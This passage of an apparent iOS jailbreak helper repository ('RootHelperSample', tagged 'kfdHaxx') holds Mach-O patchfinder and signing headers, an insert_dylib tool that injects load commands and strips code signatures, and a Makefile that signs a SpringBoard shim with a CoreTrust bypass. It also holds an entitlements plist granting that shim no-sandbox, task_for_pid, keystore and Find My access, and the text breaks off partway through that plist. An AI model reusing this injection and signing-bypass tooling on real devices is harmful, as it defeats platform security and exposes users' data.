    "content": "#include <stdint.h>\n#include \"MachO.h\"\n\n#define METRIC_TYPE_PATTERN 1\n#define METRIC_TYPE_STRING_XREF 2\n#define METRIC_TYPE_FUNCTION_XREF 3\n\ntypedef struct PFSection {\n\tuint64_t fileoff;\n\tuint64_t vmaddr;\n\tuint64_t size;\n\tuint8_t *cache;\n\tbool ownsCache;\n} PFSection;\n\nPFSection *macho_patchfinder_create_section(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName);\nint macho_patchfinder_cache_section(PFSection *section, MachO *fromMacho);\nvoid macho_patchfinder_section_free(PFSection *section);\n\ntypedef struct MetricShared {\n\tuint32_t type;\n\tPFSection *section;\n} MetricShared;\n\n\ntypedef enum {\n\tBYTE_PATTERN_ALIGN_8_BIT,\n\tBYTE_PATTERN_ALIGN_16_BIT,\n\tBYTE_PATTERN_ALIGN_32_BIT,\n\tBYTE_PATTERN_ALIGN_64_BIT,\n} BytePatternAlignment;\n\ntypedef struct BytePatternMetric {\n\tMetricShared shared;\n\n\tvoid *bytes;\n\tvoid *mask;\n\tsize_t nbytes;\n\tBytePatternAlignment alignment;\n} BytePatternMetric;\n\nBytePatternMetric *macho_patchfinder_create_byte_pattern_metric(PFSection *section, void *bytes, void *mask, size_t nbytes, BytePatternAlignment alignment);\n\nvoid macho_patchfinder_run_metric(MachO *macho, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop));\n"
  },
  {
    "path": "RootHelperSample/external/include/choma/SignOSSL.h",
    "content": "#ifndef SIGN_OSSL_H\n#define SIGN_OSSL_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <openssl/pem.h>\n#include <openssl/rsa.h>\n#include <openssl/sha.h>\n#include <openssl/err.h>\n\nunsigned char *signWithRSA(unsigned char *inputData, size_t inputDataLength, unsigned char *key, size_t key_len, size_t *outputDataLength);\n\n#endif // SIGN_OSSL_H\n\n// 0xA422"
  },
  {
    "path": "RootHelperSample/external/include/choma/Signing.h",
    "content": "#ifndef SIGNING_H\n#define SIGNING_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <CommonCrypto/CommonCrypto.h>\n#include <Security/SecKey.h>\n#include <Security/Security.h>\n\n// int signWithRSA(const char *certificateFile, const char *inputFile, const char *outputFile);\n\n#endif // SIGNING_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/Util.h",
    "content": "#include <stdint.h>\n#include <stdlib.h>\n\nuint64_t align_to_size(int size, int alignment);\nint count_digits(int64_t num);\nvoid print_hash(uint8_t *hash, size_t size);"
  },
  {
    "path": "RootHelperSample/insert_dylib.h",
    "content": "//\n//  insert_dylib.h\n//  kfd\n//\n//  Created by Alfie on 02/01/2024.\n//\n\n#ifndef insert_dylib_h\n#define insert_dylib_h\n\nint insert_dylib_main(const char *dylib_path, const char *binary_path);\n\n#endif /* insert_dylib_h */\n"
  },
  {
    "path": "RootHelperSample/insert_dylib.m",
    "content": "// https://github.com/tyilo/insert_dylib\n// thanks Alfie\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdbool.h>\n#include <stdarg.h>\n#include <string.h>\n#include <unistd.h>\n#include <getopt.h>\n#include <sys/stat.h>\n#include <sys/param.h>\n#include <copyfile.h>\n#include <mach-o/loader.h>\n#include <mach-o/fat.h>\n#include \"insert_dylib.h\"\n#include <Foundation/Foundation.h>\n\nvoid NSLogC(const char *format, ...) {\n    va_list args;\n    va_start(args, format);\n    vprintf(format, args);\n    va_end(args);\n\n    va_start(args, format);\n    NSString *logString = [[NSString alloc] initWithFormat:[NSString stringWithUTF8String:format] arguments:args];\n    NSLog(@\"%@\", logString);\n    va_end(args);\n}\n\n#define IS_64_BIT(x) ((x) == MH_MAGIC_64 || (x) == MH_CIGAM_64)\n#define IS_LITTLE_ENDIAN(x) ((x) == FAT_CIGAM || (x) == MH_CIGAM_64 || (x) == MH_CIGAM)\n#define SWAP32(x, magic) (IS_LITTLE_ENDIAN(magic)? OSSwapInt32(x): (x))\n#define SWAP64(x, magic) (IS_LITTLE_ENDIAN(magic)? OSSwapInt64(x): (x))\n\n#define ROUND_UP(x, y) (((x) + (y) - 1) & -(y))\n\n#define ABSDIFF(x, y) ((x) > (y)? (uintmax_t)(x) - (uintmax_t)(y): (uintmax_t)(y) - (uintmax_t)(x))\n\n#define BUFSIZE 512\n\nvoid fbzero(FILE *f, off_t offset, size_t len) {\n    static unsigned char zeros[BUFSIZE] = {0};\n    fseeko(f, offset, SEEK_SET);\n    while(len != 0) {\n        size_t size = MIN(len, sizeof(zeros));\n        fwrite(zeros, size, 1, f);\n        len -= size;\n    }\n}\n\nvoid fmemmove(FILE *f, off_t dst, off_t src, size_t len) {\n    static unsigned char buf[BUFSIZE];\n    while(len != 0) {\n        size_t size = MIN(len, sizeof(buf));\n        fseeko(f, src, SEEK_SET);\n        fread(&buf, size, 1, f);\n        fseeko(f, dst, SEEK_SET);\n        fwrite(buf, size, 1, f);\n\n        len -= size;\n        src += size;\n        dst += size;\n    }\n}\n\nint inplace_flag = false;\nint weak_flag = false;\nint overwrite_flag = false;\nint codesig_flag = 0;\nint yes_flag = false;\n\nstatic struct option long_options[] = {\n    {\"inplace\",          no_argument, &inplace_flag,   true},\n    {\"weak\",             no_argument, &weak_flag,      true},\n    {\"overwrite\",        no_argument, &overwrite_flag, true},\n    {\"strip-codesig\",    no_argument, &codesig_flag,   1},\n    {\"no-strip-codesig\", no_argument, &codesig_flag,   2},\n    {\"all-yes\",          no_argument, &yes_flag,       true},\n    {NULL,               0,           NULL,            0}\n};\n\n__attribute__((noreturn)) void usage(void) {\n    NSLogC(\"[kfdHaxx] insert_dylib: Usage: insert_dylib dylib_path binary_path [new_binary_path]\\n\");\n\n    NSLogC(\"[kfdHaxx] insert_dylib: Option flags:\");\n\n    struct option *opt = long_options;\n    while(opt->name != NULL) {\n        NSLogC(\"[kfdHaxx] insert_dylib:  --%s\", opt->name);\n        opt++;\n    }\n\n    NSLogC(\"[kfdHaxx] insert_dylib: \\n\");\n\n    exit(1);\n}\n\n__attribute__((format(printf, 1, 2))) bool ask(const char *format, ...) {\n    char *question;\n    asprintf(&question, \"%s [y/n] \", format);\n\n    va_list args;\n    va_start(args, format);\n    vprintf(question, args);\n    va_end(args);\n\n    free(question);\n\n    while(true) {\n        char *line = NULL;\n        size_t size;\n        if(yes_flag) {\n            puts(\"y\");\n            line = \"y\";\n        } else {\n            getline(&line, &size, stdin);\n        }\n\n        switch(line[0]) {\n            case 'y':\n            case 'Y':\n                return true;\n                break;\n            case 'n':\n            case 'N':\n                return false;\n                break;\n            default:\n//                NSLogC(\"[kfdHaxx] insert_dylib: Please enter y or n: \");\n                return true;\n        }\n    }\n}\n\nsize_t fpeek(void *restrict ptr, size_t size, size_t nitems, FILE *restrict stream) {\n    off_t pos = ftello(stream);\n    size_t result = fread(ptr, size, nitems, stream);\n    fseeko(stream, pos, SEEK_SET);\n    return result;\n}\n\nvoid *read_load_command(FILE *f, uint32_t cmdsize) {\n    void *lc = malloc(cmdsize);\n\n    fpeek(lc, cmdsize, 1, f);\n\n    return lc;\n}\n\nbool check_load_commands(FILE *f, struct mach_header *mh, size_t header_offset, size_t commands_offset, const char *dylib_path, off_t *slice_size) {\n    fseeko(f, commands_offset, SEEK_SET);\n\n    uint32_t ncmds = SWAP32(mh->ncmds, mh->magic);\n\n    off_t linkedit_32_pos = -1;\n    off_t linkedit_64_pos = -1;\n    struct segment_command linkedit_32;\n    struct segment_command_64 linkedit_64;\n\n    off_t symtab_pos = -1;\n    uint32_t symtab_size = 0;\n\n    for(int i = 0; i < ncmds; i++) {\n        struct load_command lc;\n        fpeek(&lc, sizeof(lc), 1, f);\n\n        uint32_t cmdsize = SWAP32(lc.cmdsize, mh->magic);\n        uint32_t cmd = SWAP32(lc.cmd, mh->magic);\n\n        switch(cmd) {\n            case LC_CODE_SIGNATURE:\n                if(i == ncmds - 1) {\n                    if(codesig_flag == 2) {\n                        return true;\n                    }\n\n                    if(codesig_flag == 0 && !ask(\"LC_CODE_SIGNATURE load command found. Remove it?\")) {\n                        return true;\n                    }\n\n                    struct linkedit_data_command *cmd = read_load_command(f, cmdsize);\n\n                    fbzero(f, ftello(f), cmdsize);\n\n                    uint32_t dataoff = SWAP32(cmd->dataoff, mh->magic);\n                    uint32_t datasize = SWAP32(cmd->datasize, mh->magic);\n\n                    free(cmd);\n\n                    uint64_t linkedit_fileoff = 0;\n                    uint64_t linkedit_filesize = 0;\n\n                    if(linkedit_32_pos != -1) {\n                        linkedit_fileoff = SWAP32(linkedit_32.fileoff, mh->magic);\n                        linkedit_filesize = SWAP32(linkedit_32.filesize, mh->magic);\n                    } else if(linkedit_64_pos != -1) {\n                        linkedit_fileoff = SWAP64(linkedit_64.fileoff, mh->magic);\n                        linkedit_filesize = SWAP64(linkedit_64.filesize, mh->magic);\n                    } else {\n                        fprintf(stderr, \"Warning: __LINKEDIT segment not found.\\n\");\n                    }\n\n                    if(linkedit_32_pos != -1 || linkedit_64_pos != -1) {\n                        if(linkedit_fileoff + linkedit_filesize != *slice_size) {\n                            fprintf(stderr, \"Warning: __LINKEDIT segment is not at the end of the file, so codesign will not work on the patched binary.\\n\");\n                        } else {\n                            if(dataoff + datasize != *slice_size) {\n                                fprintf(stderr, \"Warning: Codesignature is not at the end of __LINKEDIT segment, so codesign will not work on the patched binary.\\n\");\n                            } else {\n                                *slice_size -= datasize;\n                                //int64_t diff_size = 0;\n                                if(symtab_pos == -1) {\n                                    fprintf(stderr, \"Warning: LC_SYMTAB load command not found. codesign might not work on the patched binary.\\n\");\n                                } else {\n                                    fseeko(f, symtab_pos, SEEK_SET);\n                                    struct symtab_command *symtab = read_load_command(f, symtab_size);\n\n                                    uint32_t strsize = SWAP32(symtab->strsize, mh->magic);\n                                    int64_t diff_size = SWAP32(symtab->stroff, mh->magic) + strsize - (int64_t)*slice_size;\n                                    if(-0x10 <= diff_size && diff_size <= 0) {\n                                        symtab->strsize = SWAP32((uint32_t)(strsize - diff_size), mh->magic);\n                                        fwrite(symtab, symtab_size, 1, f);\n                                    } else {\n                                        fprintf(stderr, \"Warning: String table doesn't appear right before code signature. codesign might not work on the patched binary. (0x%llx)\\n\", diff_size);\n                                    }\n\n                                    free(symtab);\n                                }\n\n                                linkedit_filesize -= datasize;\n                                uint64_t linkedit_vmsize = ROUND_UP(linkedit_filesize, 0x1000);\n\n                                if(linkedit_32_pos != -1) {\n                                    linkedit_32.filesize = SWAP32((uint32_t)linkedit_filesize, mh->magic);\n                                    linkedit_32.vmsize = SWAP32((uint32_t)linkedit_vmsize, mh->magic);\n\n                                    fseeko(f, linkedit_32_pos, SEEK_SET);\n                                    fwrite(&linkedit_32, sizeof(linkedit_32), 1, f);\n                                } else {\n                                    linkedit_64.filesize = SWAP64(linkedit_filesize, mh->magic);\n                                    linkedit_64.vmsize = SWAP64(linkedit_vmsize, mh->magic);\n\n                                    fseeko(f, linkedit_64_pos, SEEK_SET);\n                                    fwrite(&linkedit_64, sizeof(linkedit_64), 1, f);\n                                }\n\n                                goto fix_header;\n                            }\n                        }\n                    }\n\n                    // If we haven't truncated the file, zero out the code signature\n                    fbzero(f, header_offset + dataoff, datasize);\n\n                fix_header:\n                    mh->ncmds = SWAP32(ncmds - 1, mh->magic);\n                    mh->sizeofcmds = SWAP32(SWAP32(mh->sizeofcmds, mh->magic) - cmdsize, mh->magic);\n\n                    return true;\n                } else {\n                    NSLogC(\"[kfdHaxx] insert_dylib: LC_CODE_SIGNATURE is not the last load command, so couldn't remove.\\n\");\n                }\n                break;\n            case LC_LOAD_DYLIB:\n            case LC_LOAD_WEAK_DYLIB: {\n                struct dylib_command *dylib_command = read_load_command(f, cmdsize);\n\n                union lc_str offset = dylib_command->dylib.name;\n                char *name = &((char *)dylib_command)[SWAP32(offset.offset, mh->magic)];\n\n                int cmp = strcmp(name, dylib_path);\n\n                free(dylib_command);\n\n                if(cmp == 0) {\n                    if(!ask(\"Binary already contains a load command for that dylib. Continue anyway?\")) {\n                        return false;\n                    }\n                }\n\n                break;\n            }\n            case LC_SEGMENT:\n            case LC_SEGMENT_64:\n                if(cmd == LC_SEGMENT) {\n                    struct segment_command *cmd = read_load_command(f, cmdsize);\n                    if(strcmp(cmd->segname, \"__LINKEDIT\") == 0) {\n                        linkedit_32_pos = ftello(f);\n                        linkedit_32 = *cmd;\n                    }\n                    free(cmd);\n                } else {\n                    struct segment_command_64 *cmd = read_load_command(f, cmdsize);\n                    if(strcmp(cmd->segname, \"__LINKEDIT\") == 0) {\n                        linkedit_64_pos = ftello(f);\n                        linkedit_64 = *cmd;\n                    }\n                    free(cmd);\n                }\n            case LC_SYMTAB:\n                symtab_pos = ftello(f);\n                symtab_size = cmdsize;\n        }\n\n        fseeko(f, SWAP32(lc.cmdsize, mh->magic), SEEK_CUR);\n    }\n\n    return true;\n}\n\nbool insert_dylib(FILE *f, size_t header_offset, const char *dylib_path, off_t *slice_size) {\n    fseeko(f, header_offset, SEEK_SET);\n\n    struct mach_header mh;\n    fread(&mh, sizeof(struct mach_header), 1, f);\n\n    if(mh.magic != MH_MAGIC_64 && mh.magic != MH_CIGAM_64 && mh.magic != MH_MAGIC && mh.magic != MH_CIGAM) {\n        NSLogC(\"[kfdHaxx] insert_dylib: Unknown magic: 0x%x\\n\", mh.magic);\n        return false;\n    }\n\n    size_t commands_offset = header_offset + (IS_64_BIT(mh.magic)? sizeof(struct mach_header_64): sizeof(struct mach_header));\n\n    bool cont = check_load_commands(f, &mh, header_offset, commands_offset, dylib_path, slice_size);\n\n    if(!cont) {\n        return true;\n    }\n\n    // Even though a padding of 4 works for x86_64, codesign doesn't like it\n    size_t path_padding = 8;\n\n    size_t dylib_path_len = strlen(dylib_path);\n    size_t dylib_path_size = (dylib_path_len & ~(path_padding - 1)) + path_padding;\n    uint32_t cmdsize = (uint32_t)(sizeof(struct dylib_command) + dylib_path_size);\n\n    struct dylib_command dylib_command = {\n        .cmd = SWAP32(weak_flag? LC_LOAD_WEAK_DYLIB: LC_LOAD_DYLIB, mh.magic),\n        .cmdsize = SWAP32(cmdsize, mh.magic),\n        .dylib = {\n            .name = {SWAP32(sizeof(struct dylib_command), mh.magic)},\n            .timestamp = 0,\n            .current_version = 0,\n            .compatibility_version = 0\n        }\n    };\n\n    uint32_t sizeofcmds = SWAP32(mh.sizeofcmds, mh.magic);\n\n    fseeko(f, commands_offset + sizeofcmds, SEEK_SET);\n    char space[cmdsize];\n\n    fread(&space, cmdsize, 1, f);\n\n    bool empty = true;\n    for(int i = 0; i < cmdsize; i++) {\n        if(space[i] != 0) {\n            empty = false;\n            break;\n        }\n    }\n\n    if(!empty) {\n        if(!ask(\"It doesn't seem like there is enough empty space. Continue anyway?\")) {\n            return false;\n        }\n    }\n\n    fseeko(f, -((off_t)cmdsize), SEEK_CUR);\n\n    char *dylib_path_padded = calloc(dylib_path_size, 1);\n    memcpy(dylib_path_padded, dylib_path, dylib_path_len);\n\n    fwrite(&dylib_command, sizeof(dylib_command), 1, f);\n    fwrite(dylib_path_padded, dylib_path_size, 1, f);\n\n    free(dylib_path_padded);\n\n    mh.ncmds = SWAP32(SWAP32(mh.ncmds, mh.magic) + 1, mh.magic);\n    sizeofcmds += cmdsize;\n    mh.sizeofcmds = SWAP32(sizeofcmds, mh.magic);\n\n    fseeko(f, header_offset, SEEK_SET);\n    fwrite(&mh, sizeof(mh), 1, f);\n\n    return true;\n}\n\nint insert_dylib_main(const char *dylib_path, const char *binary_path) {\n\n    struct stat s;\n\n    if(stat(binary_path, &s) != 0) {\n        perror(binary_path);\n        return -1;\n    }\n\n    FILE *f = fopen(binary_path, \"r+\");\n\n    if(!f) {\n        NSLogC(\"[kfdHaxx] insert_dylib: Couldn't open file %s\\n\", binary_path);\n        return -1;\n    }\n\n    bool success = true;\n\n    fseeko(f, 0, SEEK_END);\n    off_t file_size = ftello(f);\n    rewind(f);\n\n    uint32_t magic;\n    fread(&magic, sizeof(uint32_t), 1, f);\n\n    switch(magic) {\n        case MH_MAGIC_64:\n        case MH_CIGAM_64:\n        case MH_MAGIC:\n        case MH_CIGAM:\n            if(insert_dylib(f, 0, dylib_path, &file_size)) {\n                ftruncate(fileno(f), file_size);\n                NSLogC(\"[kfdHaxx] insert_dylib: Added load command to %s\\n\", binary_path);\n            } else {\n                NSLogC(\"[kfdHaxx] insert_dylib: Failed to add load command!\\n\");\n                success = false;\n            }\n            break;\n        default:\n            NSLogC(\"[kfdHaxx] insert_dylib: Unknown magic: 0x%x\\n\", magic);\n            return -1;\n    }\n\n    fclose(f);\n\n    if(!success) {\n        return -1;\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "RootHelperSample/launchdshim/.gitignore",
    "content": "launchd\nlaunchdinjected\nlaunchdsignedinjected\nlaunchdhook/launchdhooksigned.dylib\nSpringBoardShim/launchdsignedinjected\nSpringBoardShim/springboardshiminjected\nSpringBoardShim/springboardshimsignedinjected\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/Makefile",
    "content": "TARGET := iphone:clang:latest\nARCHS = arm64e\n\ninclude $(THEOS)/makefiles/common.mk\n\nTOOL_NAME = springboardshim\n\nspringboardshim_FILES = main.c\nspringboardshim_CFLAGS = -fobjc-arc -isystem\nspringboardshim_LDFLAGS = -L./ -lbsm\nspringboardshim_CODESIGN_FLAGS = -SSpringBoardEnts.plist\n#springboardshim_PRIVATE_FRAMEWORKS = SpringBoard SpringBoardServices Foundation // adding SpringBoard to privateframeworks here will add it into load command before the tweak dylib is loaded, which causes the platform check to fail - thanks DuyKhanhTran\n\nafter-package::\n\tct_bypass -i .theos/obj/debug/springboardshim -o springboardshimsigned\n\t\ninclude $(THEOS_MAKE_PATH)/tool.mk\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardEnts.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>allow-obliterate-device</key>\n\t<true/>\n\t<key>application-identifier</key>\n\t<string>com.apple.springboard</string>\n\t<key>com.apple.private.security.no-sandbox</key>\n    <true/>\n\t<key>com.apple.private.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.security.container-required</key>\n\t<false/>\n\t<key>com.apple.private.security.no-container</key>\n\t<true/>\n\t<key>com.apple.private.skip-library-validation</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension.proxy</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.app-state-manager</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.enable-disable-system-services</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.event-monitor</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-bootstrapper</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-outside-bundle</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.obliterator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-create.mbsetupuser</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-lookup</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.service-hold</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot-now</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-creator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-manager</key>\n\t<true/>\n    <key>com.apple.private.persona-mgmt</key>\n    <true/>\n\t<key>com.apple.private.xpc.service-attach</key>\n\t<true/>\n\t<key>com.apple.private.xpc.service-configure</key>\n\t<true/>\n\t<key>platform-application</key>\n\t<true/>\n    <key>get-task-allow</key>\n    <true/>\n    <key>task_for_pid-allow</key>\n    <true/>\n\t<key>com.apple.security.network.server</key>\n\t<true/>\n\t<key>aps-connection-initiate</key>\n\t<true/>\n\t<key>backupd-connection-initiate</key>\n\t<true/>\n\t<key>checklessPersistentURLTranslation</key>\n\t<true/>\n\t<key>com.apple.BTServer.allowRestrictedServices</key>\n\t<true/>\n\t<key>com.apple.BTServer.programmaticPairing</key>\n\t<true/>\n\t<key>com.apple.CallHistory.sync.allow</key>\n\t<true/>\n\t<key>com.apple.CommCenter.StormBreaker</key>\n\t<true/>\n\t<key>com.apple.CommCenter.fine-grained</key>\n\t<array>\n\t\t<string>spi</string>\n\t\t<string>preferences-reset</string>\n\t\t<string>voice</string>\n\t\t<string>identity</string>\n\t\t<string>phone</string>\n\t\t<string>carrier-settings</string>\n\t</array>\n\t<key>com.apple.CompanionLink</key>\n\t<true/>\n\t<key>com.apple.Contacts.database-allow</key>\n\t<true/>\n\t<key>com.apple.CoreRoutine.LocationOfInterest</key>\n\t<true/>\n\t<key>com.apple.MobileInternetSharing.allow</key>\n\t<true/>\n\t<key>com.apple.ModeEntityScorer</key>\n\t<true/>\n\t<key>com.apple.Pasteboard.trusted-authentication-message-request</key>\n\t<true/>\n\t<key>com.apple.PerformanceTrace.Tracing</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.cache-asynchronous</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.debug</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.displayable-context</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.flipbook</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.global-capture</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.occlusion-override</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.secure-capture</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.secure-mode</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.system-layers</key>\n\t<true/>\n\t<key>com.apple.SystemConfiguration.SCDynamicStore-write-access</key>\n\t<true/>\n\t<key>com.apple.SystemConfiguration.SCPreferences-write-access</key>\n\t<array>\n\t\t<string>com.apple.AutoWake.xml</string>\n\t\t<string>preferences.plist</string>\n\t\t<string>com.apple.radios.plist</string>\n\t</array>\n\t<key>com.apple.TapToRadarKit.service-access</key>\n\t<true/>\n\t<key>com.apple.abm.helper.mobile.allow</key>\n\t<true/>\n\t<key>com.apple.accounts.appleaccount.fullaccess</key>\n\t<true/>\n\t<key>com.apple.assistant.announcement_state</key>\n\t<true/>\n\t<key>com.apple.assistant.client</key>\n\t<true/>\n\t<key>com.apple.assistant.settings</key>\n\t<true/>\n\t<key>com.apple.authkit.client.private</key>\n\t<true/>\n\t<key>com.apple.authkit.writer.internal</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allow-identifying-output-device-details</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allow-still-image-capture-shutter-sound-manipulation</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allow-system-wide-context</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allows-access-to-device-list</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allows-set-output-device</key>\n\t<true/>\n\t<key>com.apple.backboard.client</key>\n\t<true/>\n\t<key>com.apple.backboard.display.archive</key>\n\t<true/>\n\t<key>com.apple.backboard.displaybrightness</key>\n\t<true/>\n\t<key>com.apple.backboardd.cancelsTouchesInHostedContent</key>\n\t<true/>\n\t<key>com.apple.backboardd.displayArrangement</key>\n\t<true/>\n\t<key>com.apple.backboardd.eventAuthenticationVerification</key>\n\t<true/>\n\t<key>com.apple.backboardd.global-pointer-event-routing</key>\n\t<true/>\n\t<key>com.apple.backboardd.hostCanRequireTouchesFromHostedContent</key>\n\t<true/>\n\t<key>com.apple.backboardd.lastUserEventTime</key>\n\t<true/>\n\t<key>com.apple.backboardd.launchapplications</key>\n\t<true/>\n\t<key>com.apple.backboardd.pointerAutomation</key>\n\t<true/>\n\t<key>com.apple.backboardd.pointerRepositioning</key>\n\t<true/>\n\t<key>com.apple.backboardd.touchDeliveryObservation</key>\n\t<true/>\n\t<key>com.apple.backboardd.transferTouches</key>\n\t<true/>\n\t<key>com.apple.backboardd.virtualDisplay</key>\n\t<true/>\n\t<key>com.apple.bannerkit.post</key>\n\t<true/>\n\t<key>com.apple.biome.PublicStreamAccessService</key>\n\t<true/>\n\t<key>com.apple.bluetooth.system</key>\n\t<true/>\n\t<key>com.apple.bulletinboard</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.dataprovider</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.observer</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.serverconduit</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.settings</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.systemstate</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.utilities</key>\n\t<true/>\n\t<key>com.apple.cards.all-access</key>\n\t<true/>\n\t<key>com.apple.chronod.toolservices</key>\n\t<true/>\n\t<key>com.apple.chronoservices</key>\n\t<true/>\n\t<key>com.apple.coreaudio.CanRecordPastData</key>\n\t<true/>\n\t<key>com.apple.coreaudio.allow-amr-decode</key>\n\t<true/>\n\t<key>com.apple.coreaudio.allow-opus-codec</key>\n\t<true/>\n\t<key>com.apple.coreaudio.allow-speex-codec</key>\n\t<true/>\n\t<key>com.apple.coreduetd.allow</key>\n\t<true/>\n\t<key>com.apple.coreduetd.batterysaver.allow</key>\n\t<true/>\n\t<key>com.apple.coreduetd.context</key>\n\t<true/>\n\t<key>com.apple.coreduetd.knowledge</key>\n\t<true/>\n\t<key>com.apple.coremedia.allow-pre-wiring-pixel-buffers</key>\n\t<true/>\n\t<key>com.apple.coremedia.allow-protected-content-playback</key>\n\t<true/>\n\t<key>com.apple.coremedia.virtualdisplaysession</key>\n\t<true/>\n\t<key>com.apple.developer.extension-host.widget-extension</key>\n\t<true/>\n\t<key>com.apple.developer.homekit</key>\n\t<true/>\n\t<key>com.apple.developer.ubiquity-kvstore-identifier</key>\n\t<string>com.apple.springboard</string>\n\t<key>com.apple.duet.activityscheduler.allow</key>\n\t<true/>\n\t<key>com.apple.duet.expertcenter.consumer</key>\n\t<true/>\n\t<key>com.apple.extensionkit.host.extension-point-identifiers</key>\n\t<array>\n\t\t<string>com.apple.SoundScapesViewServices.ViewService</string>\n\t</array>\n\t<key>com.apple.fileprovider.acl-write</key>\n\t<true/>\n\t<key>com.apple.fileprovider.enumerate</key>\n\t<true/>\n\t<key>com.apple.fileprovider.fetch-url</key>\n\t<true/>\n\t<key>com.apple.frontboard.app-badge-value-access</key>\n\t<true/>\n\t<key>com.apple.frontboard.launchapplications</key>\n\t<true/>\n\t<key>com.apple.frontboard.shutdown</key>\n\t<true/>\n\t<key>com.apple.frontboardservices.display-layout-monitor</key>\n\t<true/>\n\t<key>com.apple.geoservices.navigation_info</key>\n\t<true/>\n\t<key>com.apple.homekit.private-spi-access</key>\n\t<true/>\n\t<key>com.apple.iapd.accessibility</key>\n\t<true/>\n\t<key>com.apple.icloud.findmydeviced.access</key>\n\t<true/>\n\t<key>com.apple.icloud.findmydeviced.findmydevice-user-agent.access</key>\n\t<true/>\n\t<key>com.apple.icloud.fmfd.access</key>\n\t<true/>\n\t<key>com.apple.icloud.searchpartyd.beaconmanager</key>\n\t<true/>\n\t<key>com.apple.idle-timer-services</key>\n\t<true/>\n\t<key>com.apple.imagent</key>\n\t<true/>\n\t<key>com.apple.imagent.av</key>\n\t<true/>\n\t<key>com.apple.imagent.chat</key>\n\t<true/>\n\t<key>com.apple.intents.extension.discovery</key>\n\t<true/>\n\t<key>com.apple.intents.uiextension.discovery</key>\n\t<true/>\n\t<key>com.apple.internal.seserviced.all.endpoints.and.cas</key>\n\t<true/>\n\t<key>com.apple.internal.seserviced.ptattestation</key>\n\t<true/>\n\t<key>com.apple.itunesstored.private</key>\n\t<true/>\n\t<key>com.apple.keystore.device</key>\n\t<true/>\n\t<key>com.apple.keystore.lockassertion</key>\n\t<true/>\n\t<key>com.apple.keystore.stash.access</key>\n\t<true/>\n\t<key>com.apple.launchservices.clearadvertisingid</key>\n\t<true/>\n\t<key>com.apple.localizationswitcher</key>\n\t<true/>\n\t<key>com.apple.locationd.activity</key>\n\t<true/>\n\t<key>com.apple.locationd.asmanager</key>\n\t<true/>\n\t<key>com.apple.locationd.authorizeapplications</key>\n\t<true/>\n\t<key>com.apple.locationd.effective_bundle</key>\n\t<true/>\n\t<key>com.apple.locationd.motion_alarms</key>\n\t<true/>\n\t<key>com.apple.locationd.place_inference</key>\n\t<true/>\n\t<key>com.apple.locationd.prompt_behavior</key>\n\t<true/>\n\t<key>com.apple.locationd.region_proxy_service</key>\n\t<true/>\n\t<key>com.apple.locationd.status</key>\n\t<true/>\n\t<key>com.apple.locationd.usage_oracle</key>\n\t<true/>\n\t<key>com.apple.locationd.vehicle_data</key>\n\t<true/>\n\t<key>com.apple.logind.client.entitlement</key>\n\t<true/>\n\t<key>com.apple.lsapplicationproxy.deviceidentifierforvendor</key>\n\t<true/>\n\t<key>com.apple.managedconfiguration.mdmd-access</key>\n\t<true/>\n\t<key>com.apple.managedconfiguration.profiled-access</key>\n\t<true/>\n\t<key>com.apple.mediaremote.ui-control</key>\n\t<true/>\n\t<key>com.apple.mediastream.mstreamd-access</key>\n\t<true/>\n\t<key>com.apple.messages.composeclient</key>\n\t<true/>\n\t<key>com.apple.mkb.usersession.info</key>\n\t<true/>\n\t<key>com.apple.mkb.usersession.loginwindow</key>\n\t<true/>\n\t<key>com.apple.mobile.deleted.AllowFreeSpace</key>\n\t<true/>\n\t<key>com.apple.mobile.keybagd.UserManager.logoutcritical</key>\n\t<true/>\n\t<key>co